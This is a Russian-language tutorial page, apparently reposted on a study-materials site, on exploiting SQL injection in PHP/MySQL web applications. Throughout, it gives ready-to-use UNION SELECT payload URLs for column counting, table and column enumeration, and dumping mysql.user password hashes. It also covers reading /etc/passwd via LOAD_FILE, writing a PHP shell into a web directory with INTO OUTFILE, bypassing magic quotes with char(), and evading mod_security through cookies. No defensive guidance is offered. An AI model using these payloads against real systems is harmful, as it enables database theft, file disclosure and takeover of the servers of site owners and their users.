Сделай Сам Свою Работу на 5

Анализ БД через SQL-Injection





 

Допустим нам известно о недостаточной фильтрации параметра id в скрипте http://site/test.php?id=12

Наличие подробных сообщениях об ошибках, с текстом SQL-запроса, в котором произошла ошибка, сведёт трудность эксплуатации SQL-Injection к минимуму. Однако, многое можно сделать даже если сообщений об ошибках не выводятся вообще.

Следует принять к сведению тот факт, что даже если текст ошибки не выводиться, можно всё равно однозначно судить о том, произошла ошибка, или нет (например, запрос вернул пустой результат).

В частности, возможна ситуации, когда при ошибке возвращается код ответа 500, или происходит перенаправление на главную страницу, в то время как при пустом результате запроса будет возвращена пустая страница.

Для того, чтобы выявить эти второстепенные признаки, следует составить http-запросы, про которые известно, какой приведёт к правильному (но возвращающему пустой вывод) SQL-запросу, и какой приведёт к неверному SQL-запросу. Например, при не фильтруемом параметре id:

 

http://site/test.php?id=99999, вероятно, будет возвращен пустой результат, в то время, как

http://site/test.php?id=99999' должен породить ошибку.



 

Теперь, зная как отличить ошибочный запрос от пустого, начинаем последовательно извлекать информация о запросе и БД.

Рассмотрим случай, когда SQL-Injection происходит после where. Если мы рассматриваем СУБД MySQL, то получение информации из БД может быть возможным только, если сервер имеет версию 4.*, те имеется возможность вставить в запрос union.

 

1. Количество полей между select и where

Пробуем последовательно, пока не получим верный запрос:

 

http://site/test.php?id=99999+union+select+null/*

http://site/test.php?id=99999+union+select+null,null/*

 

Более, того, если не имеется возможности отделить неверный запрос от возвратившего пустой результат, можно сделать так:

 

http://site/test.php?id=12+union+select+null/*

http://site/test.php?id=12+union+select+null,null/*

 

Для этого, нам достаточно уметь отделять правильный запрос от неправильного, а это возможно всегда, если имеется факт наличия SQL-Injection.

После того, как мы получим правильный запрос, количество null, будет равно количеству полей между select и where

 

2. Номер столбца с выводом. Нам понадобится знать, в каком по счёту столбце происходит вывод на страницу.



 

При этом, если на страницу выводится несколько параметров, лучше найти тот, который, как кажется, имеет наибольший размер типа данных (text  лучше всего). Такими полями могут быть, например, описание товара, текст статьи и т.д. Ищем такое поле:

 

http://site/test.php?id=9999+union+select+'test',null,null/*

http://site/test.php?id=9999+union+select+null,'test',null/*

 

И т.д. до тех пор, пока не увидим слово test в нужном нам месте.

 

Следует обратить внимание, что в этом случае один из подобных запросов обязательно вернет непустое значение.

Здесь можно столкнуться с проблемой: в скрипте, возможно, имеется проверка на не пустоту одного из параметров (например, id). Тогда придётся воспользоваться следующим свойством MySQL: числовой тип данных может быть приведен к любому типу данных без возникновения ошибки, причём так, что переменная сохранит свое значение.

 

http://site/test.php?id=9999+union+select+1,2,3/*

 

Этот же способ пройдет и там, где кавычки экранируются.

Открытие комментария добавлено для того, чтобы отбросить остальную часть запроса, если она имеется. MySQL корректно реагирует на незакрытый комментарий.

 

3. Имена таблиц

 

Теперь можно перебирать имена таблиц.

 

http://site/test.php?id=12+union+select+null,null,null+from+table1/*

 

Правильные запросы будут соответствовать существующим именам таблиц. Как правило, имеет смысл проверить существование таблиц users, passwords, regusers и т.д. и т.п.

 

4. Системная информация

 

У нас уже достаточно информации чтобы составить такой запрос.

 

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user/*

 

В случае, если имеются права на select из базы данных mysql, этот запрос вернет хеш пароля, который в большинстве случаев легко расшифруется. Если выводится только одна строка из запроса (например, вместо тела статьи), то можно передвигаться по строкам



 

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+0,1/*

http://site/test.php? id=9999+union+select+null,mysql.user.password,null+from+mysql.user+limit+1,1/*

 

Кроме того можно узнать много интересного:

 

http://site/test.php?id=9999+union+select+null,DATABASE(),null/*

http://site/test.php?id=9999+union+select+null,USER(),null/*

http://site/test.php?id=9999+union+select+null,VERSION(),null/*

 

5. Названия столбцов в таблице

 

Их аналогично, можно перебрать:

 

http://site/test.php?id=9999+union+select+null,row1,null+from+table1/* и т.д.

 

6. Получение текста файлов через SQL-Injection

 

Если пользователь, от имени которого осуществляется доступ к БД, имеет права file_priv, то можно получить текст произвольного файла:

 

http://site/test.php?id=9999+union+select+null,LOAD_FILE('/etc/passwd'),null/*

 

7. Запись файлов в веб-директорию (php shell)

 

Как показала практика, если мы имеем права file_priv, директорию, доступную на запись всем пользователям, доступную кроме того из web, (иногда, директории upload, banners и т.д.), а также знаем имя хотя бы одной таблицы (mysql.user, например, если имеется доступ к mysql базе данных), то можно выгрузить произвольный файл на сервер используя инъекцию подобного типа:

 

http://site/test.php?id=9999+union+select+null,'',null+from+table1+into+outfile+'/usr/local/site/www/banners/cmd.php'/*

 

При этом конструкция from table1 обязательна. Если кроме того, на сайте имеется уязвимость, позволяющая выполнять произвольные файлы на сервере, (include("/path/$file.php")), то, в любом случае можно закачать php shell, например, в директорию /tmp/, и затем подключить этот файл оттуда при помощи уязвимости в include.

 

8. SQL-Injection после limit

 

Довольно часто уязвимость к SQL-Injection возникает внутри параметра, передающегося к limit. Это может быть номер страницы или нечто подобное.

Практика показывает, что все вышесказанное может быть применено и в этом случае. MySQL корректно реагирует на запросы типа:

 

Select ... limit 1,2 union select....

Select ... limit 1 union select....

 

Если необходимо, чтобы первый подзапрос вернул пустой результат, необходимо искусственно задать большие смещения для первого запроса:

 

Select ... limit 99999,1 union select.... Либо, Select ... limit 1,0 union select....

 

Некоторые сложности при проведении атак способом SQL-Injection

 

1. Magic quotes. Наиболее частой проблемой может оказаться включение т.н. "магических кавычек" в конфигурации php. В случае строковых параметров это вообще позволит избежать возможности SQL инъекции, а в случае целых (дробных) параметров, в подобных запросах невозможно будет использовать кавычки, а следовательно и строки.

Решить эту проблему поможет нам функция char, которая возвращает строку по кодам символов. Например:

 

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null/*

http://site/test.php?id=9999+union+select+char(116,101,115,116),null,null+from_table1/*

http://site/test.php?id=9999+union+select+null,LOAD_FILE(char(47,101,116,99,47,112,97,115,115,119,100)),null/*

 

Ограничение: в случае, если необходимо выполнить into outfile, то в качестве имени файла необходимо передать имя файла в кавычках. into outfile char(...) выдаёт ошибку.

 

2. Mod_security. Предполагается, что этот модуль веб-сервера Apache, делает невозможным эксплуатацию уязвимости к SQL-Injection. Однако, при некоторых конфигурациях PHP и этого модуля, атаку можно провести прозрачно для этого модуля.

Конфигурация по умолчанию модуля mod_security не фильтрует значения, переданные через cookie. Одновременно, в некоторых случаях, а также в некоторых конфигурациях по умолчанию переменные cookie регистрируются автоматически как глобальные.

Таким образом, значения переменных для атаки абсолютно прозрачно для mod_security можно передать как cookie значения.

 

 








Не нашли, что искали? Воспользуйтесь поиском по сайту:



©2015 - 2024 stydopedia.ru Все материалы защищены законодательством РФ.